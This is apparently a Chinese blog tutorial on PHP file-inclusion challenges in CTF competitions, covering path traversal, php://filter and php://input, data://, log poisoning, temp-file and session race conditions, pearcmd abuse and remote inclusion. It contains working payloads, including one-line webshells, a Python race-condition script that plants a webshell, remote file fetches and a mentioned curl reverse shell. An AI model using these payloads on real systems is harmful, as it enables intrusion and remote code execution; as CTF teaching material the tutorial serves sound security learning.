分享

CTFWEB-文件包含篇

 zZ华 2023-10-11 发布于广东

Web题目做题思路

第一步

拿到题目后,判断题目利用的漏洞方式为读取、写入、还是执行。在不能马上确定的情况下,就由从低到高,依次挖掘,即先找文件读取、再找文件写入、再找命令执行。这一步先确定出最终要拿到的权限,确定渗透方向。

第二步

判断漏洞的大概类型,或者题目大概的考点,比如,有登入框,就测试sql注入更具题目网站提供的功能点和网站的组件进行判断。这样一步步确定具体的利用思路,实现漏洞利用。

第三步

寻找敏感数据,拿到最终flag。

什么是文件包含漏洞

文件包含漏洞概述

和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种

include()

include():找不到被包含的文件只会产生警告,脚本继续执行

require()

require():找不到被包含的文件会产生致命错误,并停止脚本运行

include_once()

include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

require_once()

require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

来看一道简单题

<?phperror_reporting(0);highlight_file(__FILE__);
// flag in /var/www/secretinclude $_GET['file'];
?>

它给了flag文件位置提示,直接传参即可

Image

也可以包含系统配置文件

Image

如果包含的是php代码的话,那么就会执行,不会回显

文件包含伪协议

1.什么是协议

协议呢?就是双方都能听明白的一个沟通约定语言,比如我们说的这个普通话,那么它就是一种协议啊,有了它,我们天南海台北的人都能说一个同一个语调,那么我们东北的贵州的说话互相的才能听得懂,那么在我们计算机中呢也有很多协议

常见的网络层有

IP协议、ICMP协议、ARP协议、IGMP协议

应用层

http协议、https协议、ftp协议、ssh协议、gopher协议、qq拉起协议

2.协议的格式

协议头://内容(多为二进制

3.php中的协议

file://

访问本地文件系统,在不写协议名字的情况下,就默认是file协议它是支持这个路径混杂模式,什么叫做混杂模式,我们知道在linux下,路径呢一般分为什么对吧,分为相对路径和绝对路径,假设我们使用include包含网站根目录下的flag.php,实际上是包含/var/www/html/flag.php,它会由相对路径转换为绝对路径

http://

访问 HTTP(s) 网址,可以获取远程的内容,返回到本地,也可以用包含函数包含远程文件,可以直接读取远程的php文件在本地执行,RCE。注意:包含远程文件需在php.ini中将allow_url_include设置为On。

ftp://

默认21端口,进行文件传输的协议

php://

访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://input,php://filter用于读取源码。
php://input用于执行php代码

data://

数据(RFC 2397)data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

  • phar:// — PHP 归档

  • glob:// — 查找匹配的文件路径模式

  • ssh2:// — Secure Shell 2

  • rar:// — RAR

  • ogg:// — 音频流

  • expect:// — 处理交互式的流

  • zlib:// — 压缩流

file://

在使用file协议前我们要先了解些东西

linux的上层目录特性

1.每个目录都有上层目录

比如说/var/www/html/../../../这样就来到了根目录

2.根目录的上层目录是根目录本身
/var/www/html/../../../../../../由于根目录的上级还是根目录,这样我们无论加足够多的../就会来到根目录
php目录整理特性
比如/var/www/html/caigo/../flag.php
在win下访问会报错,但是在Linux下它会自动帮我们整理成/var/www/html/flag.php
多的不说上例题
<?phperror_reporting(0);highlight_file(__FILE__);
//flag in /flag
$file = $_GET['file']?$_GET['file']:'nothing.php';include '/var/www/html/'.$file;
?>

做法也很简单,有提示flag在根目录下,所以直接多加几个../访问根目录即可,因为linux的上层目录特性,这里加几个都行,大于3个就行

payload
?file=../../../../..//flag

http://

我这有一个简单的演示代码

<?php
file_get_contents('https://baidu.com/robots.txt');
?>

这样就可以包含远程文件

ftp://

默认21端口,进行文件传输的协议

<?php
include 'ftp://baidu.com/robots.txt';
?>

php://

访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://input,php://filter用于读取源码。
php://input用于执行php代码

php://input

官方介绍:php://input 是个可以访问请求的原始数据的只读流。POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。enctype='multipart/form-data' 的时候 php://input 是无效的。

Note: 在 PHP 5.6 之前 php://input 打开的数据流只能读取一次;数据流不支持 seek 操作。不过,依赖于 SAPI 的实现,请求体数据被保存的时候, 它可以打开另一个 php://input 数据流并重新读取。通常情况下,这种情况只是针对 POST 请求,而不是其他请求方式,比如 PUT 或者 PROPFIND。

大致意思就是:php://input会接收由post请求的原始数据,就好比%61url解码后是a,如果是正常提交,网站会自动url解码成a,但是php://input接收的数据是原始数据不会对数据进行操作所以收到的就是%61这3个字符,我们代入代码include php://input;post提交的数据放到include里,假如我们提交的数据外有php标签那么,它就会把php标签里的数据当初php代码执行,造成RCE。

例题

<?phperror_reporting(0);highlight_file(__FILE__);
//flag in /flag
include 'php://input';
?>

我们用bp抓包,发送post数据

Image

可以看到被php标签包裹的命令被执行了

注意在hackbar插件下这样的post请求因为没有传参点,hackbar会自动将post里的数据丢弃,因为它认为这样是错误的,属于好心办坏事

Image

Image

这样才会发送数据

php://filter

例题

<?php
error_reporting(0);
highlight_file(__FILE__);

//flag in /flag

$file = $_GET['file'];
$content = $_POST['content'];

if(preg_match('/\<|\>|\;|\(|\?/i')){
die('content not safe');
}

file_put_contents($file,$content);
?>

由于题目对符号进行了过滤导致我们不能直接传php标签,文件我们使用filter经典的过滤器base64编码

payload:
GET提交
?file=php://filter/wirte=convert.base64-decode/resource=2.php
POST提交
content=PD9waHAgYXNzZXJ0KCRfUE9TVFt4XSk7Pz4=

poc解释

  • wirte:写入

  • convert.base64-decode:对写进文件里的内容先进行一次base64解码,再写入

  • resource:指定写入的文件名

  • content提交的值是经过base64编码后的一句话木马//<?php assert($_POST[x]);?>

文件创建成功后,直接蚁剑连接即可

Image

接着看下面

例题

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag in /flag

$file = $_GET['file'];

$content = $_POST['content'];

file_put_contents($file,'<?php die();?>'.$content);
?>

这道题就是我们常说的绕过死亡代,因为在中间加上了'<?php die();?>',这就会导致会终止php的执行,不会运行$content的值

这里我们用另一个过滤器string.rot13

rot13也就是凯撒13,ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。编码和解码都是由相同的函数完成的。如果您把一个已编码的字符串作为参数,那么将返回原始字符串。

payload:
GET提交
/?file=php://filter/write=string.rot13/resource=3.php
POST提交
content=<?cuc nffreg($_CBFG[k]);?>

poc解释

string.rot13是凯撒13编码

content提交的值是经过rot13编码后的一句话木马

这里我遇到了一个问题,我用hackbar发包的时候,它创建了文件,但是文件里的内容不对,原本要写的内容是这个<?cuc nffreg($_CBFG[k]);?>,写进去变成了<?cuc qvr();?>这个,不清楚是上面原因,我用burp抓完后再发就可以。

data://

data协议,作为一个php的一个伪协议啊,它的作用其实和php:// input有点类似啊,那么在data协议里面它会以结果为导向,本来呢,文件包含它是包含一个文件路径,然后再去读取这里面的内容。然后data协议呢,相当于两步换作一步走,直接把内容给你,直接包含内容。是这么个意思,data协议,相当于让include转换为一个能够执行php代码的eval了,所以利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:

我们直接看例题

<?php
error_reporting(0);
highlight_file(__FILE__);

include $_GET['file'].'.php';

?>
poc
/?file=data://text/plain,<?php%20phpinfo();?>

Image

直接就可以执行

data协议只要符合它的标准啊,都可以认为是data协议,那么简单的说法就是说。在data中,我们是可以省略//text/plain的,甚至呢,可以对它呢进行一个编码的啊,只要保留data:,就能执行

Image

这就是一个极端的一个简写情况啊,大多数情况下可能存在过滤,根据题目修改

php的文件上传机制

又扯到文件上传上去了,这个东西和命令执行多多少少有点关系,php存在超全局变量,列如$_GET、$_POST、$_SERVER、$_COOKIE、$_SESSION、$_FILES,这是因为php在设计的时候他也不知道哪些界面用户会上传,哪些用户不上传。所以呢,为了为了方便期,每次呢都会初始化这个主全局变量,然后呢,把用户所有的用户上传信息呢,都放到这里面去啊。上传至里面去,如果呢上传时不存,用的时候呢,就找不到了,所以呢php会将上传的文件先临时放到一个临时目录先留着,即使它后端没有文件上传功能。这就是说的是我们可以强制上传文件,上传上去以后,它生命周期只是在php的运行过程,可能就几毫秒,但是这几毫秒文件是存在的,在linux下面它存放路径是/tmp/phpxxxxxx,x有三种可能性:大写字母、小写字母、数字。我们正是利用这个机制呢,在没有接收这个文件上传参数的情况下呢,强制性的上传一个文件,放到临时文件里面去,然后再匹配到这个临时文件,执行临文件里面的恶意命令啊,实现了一个远程rce的效果

看例题

<?php

error_reporting(0);
highlight_file(__FILE__);
$cmd=$_GET['cmd'];

if(!preg_match('/[a-z]|[0-9]/i',$cmd)){
system($cmd);
}

?>

可以看到它这了过滤了数字和字母,我们先在本地构造一个上传页面

<form action='http://b6ddce33-4e2c-4645-b4f9-0f812a23ba5a.challenges.:8080/' enctype='multipart/form-data' metho='post' >
<input name='file' type='file' />
<input type='submit' value='upload' />
</form>

我们再创建一个执行命令的文件1.txt

ls

我们上传1.txt并抓包,上传

Image

然后用这道题的cmd参数执行命令

payload:
get传参
./???/????????[@-[]
post传参
ls /

Image

日志文件包含

<?php
error_reporting(0);
highlight_file(__FILE__);

include 'file:///var/www/html/'.$_GET['file'];

?>

可以看到这题可控的是文件后缀,也就没办法使用伪协议,我们使用hackbar修改ua头

Image

payload:
/?file=../../../../../var/log/nginx/access.log

Image

然后包含我们的日志文件,可以看到phpInfo被执行了,把命令换成一句话木马,蚁剑连接即可

临时文件包含

在前面的php的文件上传机制,我们提到过,但我们强制上传一个文件时,php会将它放在一个临时目录,文件路径是/tmp/phpxxxxxx,很显然文件名我们是不知道的,文件包含也无法使用我们前面命令执行的通配符?,那有没有办法能得到文件名呢

有,当网站上存在phpinfo时,因为我们知道强制上传的文件会存放到$_FILES这个全局变量值,而phpinfo页面会将当前请求上下文中所有变量都打印出来,这样我们就能通过phpinfo来获取临时文件名,进而进行包含

但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。

这个时候就需要用到条件竞争,具体流程如下:

  • 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

  • 因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大

  • php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

  • 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

  • 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

  • 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

来看例题

<?php error_reporting(0);highlight_file(__FILE__);
//phpinfo.phpinclude 'file:///var/www/html/'.$_GET['file'];
?>

题目提示了,存在phpinfo,我们使用脚本跑,注意:这脚本是很久以前写的,所以是python2的,脚本太长,不放这了。

脚本链接:https://blog.csdn.net/qq_45521281/article/details/106498971

可能会跑不出来,看运气

php的session/upload_progress文件包含

强制文件上传时,通过上传一个固定的表单PHP_SESSION_UPLOAD_PROGRESS可以将上传的文件信息保存在session中,然后在脚本运行过程中,包含后,可以执行里面的php代码

一般默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,我们需要进行条件竞争.如果为off,就不需要利用条件竞争.

<?php
error_reporting(0);
highlight_file(__FILE__);

include 'file:///var/www/html/'.$_GET['file'];

?>

因为需要条件竞争,所以要使用脚本

import requestsimport threading
session = requests.session()sess='caigo'
file_name='/var/www/html/1.php'file_content='<?php eval($_POST[1]);?>'
url = 'http://59bdde2b-9b8a-4306-ad63-333d6681eda6.challenges.:8080/'
data = { 'PHP_SESSION_UPLOAD_PROGRESS':f'<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>'}file= { 'file':'caigo'}cookies={ 'PHPSESSID':sess}
def write(): while True:        r = session.post(url=url,data=data,files=file,cookies=cookies)
def read(): while True: r = session.post(url=url+'?file=../../../../../../tmp/sess_caigo') if 'success' in r.text: print('shell 地址为:'+url+'/1.php')            exit()
threads = [threading.Thread(target=write),threading.Thread(target=read)]
for t in threads: t.start()

他会在网站根目录生成一个1.php,连接密码是1

Image

pear文件包含

条件:

  • 有文件包含点

  • 开启了pear扩展

  • 配置文件中register_argc_argv 设置为On,而默认为Off

例题

<?php
error_reporting(0);
$file = $_GET['file'];


if(isset($file) && !preg_match('/input|data|phar|log|filter/i',$file)){
include $file;
}else{
show_source(__FILE__);
if(isset($_GET['info'])){
phpinfo();
}
}

我们利用pear扩展进行文件包含

1、远程文件下载实现远程文件包含

poc:
/?file=/usr/local/lib/php/pearcmd.php&caigo+install+R+/var/www/html/+http://.xxx/1.php

它提示下载到这个目录'/tmp/pear/download/1.php',我们尝试包含它

Image

2、生成配置文件,配置项传入我们恶意的php代码的形式

poc:
/?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=<?eval($_POST[1]);?>+-s+

由于hackbar会尝试编码写入的数据会变成这样'%3C?eval($_POST[1]);?%3E';,所以我们使用burp修改一下发包

Image

提示写入成功,尝试包含/tmp/ctf.php

Image

3、写配置文件方式

poc:
/?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php

由于可能会遇到前面的编码问题,我们还是用burp

Image

然后访问网站根目录的1.php

Image

因为我们写的poc是`符号包起来是的命令执行,要注意不是eval,我们直接用curl反弹

Image

除了pearcmd还有peclcmd

远程文件包含

我们前面说过可以远程包含文件

注意,我们使用远程文件包含时,我们的vps上的shell文件要是能返回一句话木马的,而不是在网站上被解析的,我们可以包含1.txt文件,在1.txt里写shell,文件包含它会按php解析的

看例题

<?php
error_reporting(0);
highlight_file(__FILE__);

$file = $_GET['file'];

if(preg_match('/\.|php|data/i',$file)){
die('hacker');
}

include $file;

?>

这道题它过滤了.符号我们知道包含远程文件要有ip(127.0.0.1)或域名(baidu.com)都是存在.符号的,我们可以使用ip转数字来绕过

我这里用的是这个网站:http://www./tools/ip/ip_num.asp

用其他的也行

在我们的vps上创建一个能访问道的1文件因为有过滤.无后缀也是能访问的

Image

死亡砸楼

看到最后,给大家分享一个php伪协议中的死亡砸楼,在ctf比赛中是有可能出现的(虽然说概率不大),大家了解了解就行了

项目链接:

GitHub - synacktiv/php_filter_chain_generator

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多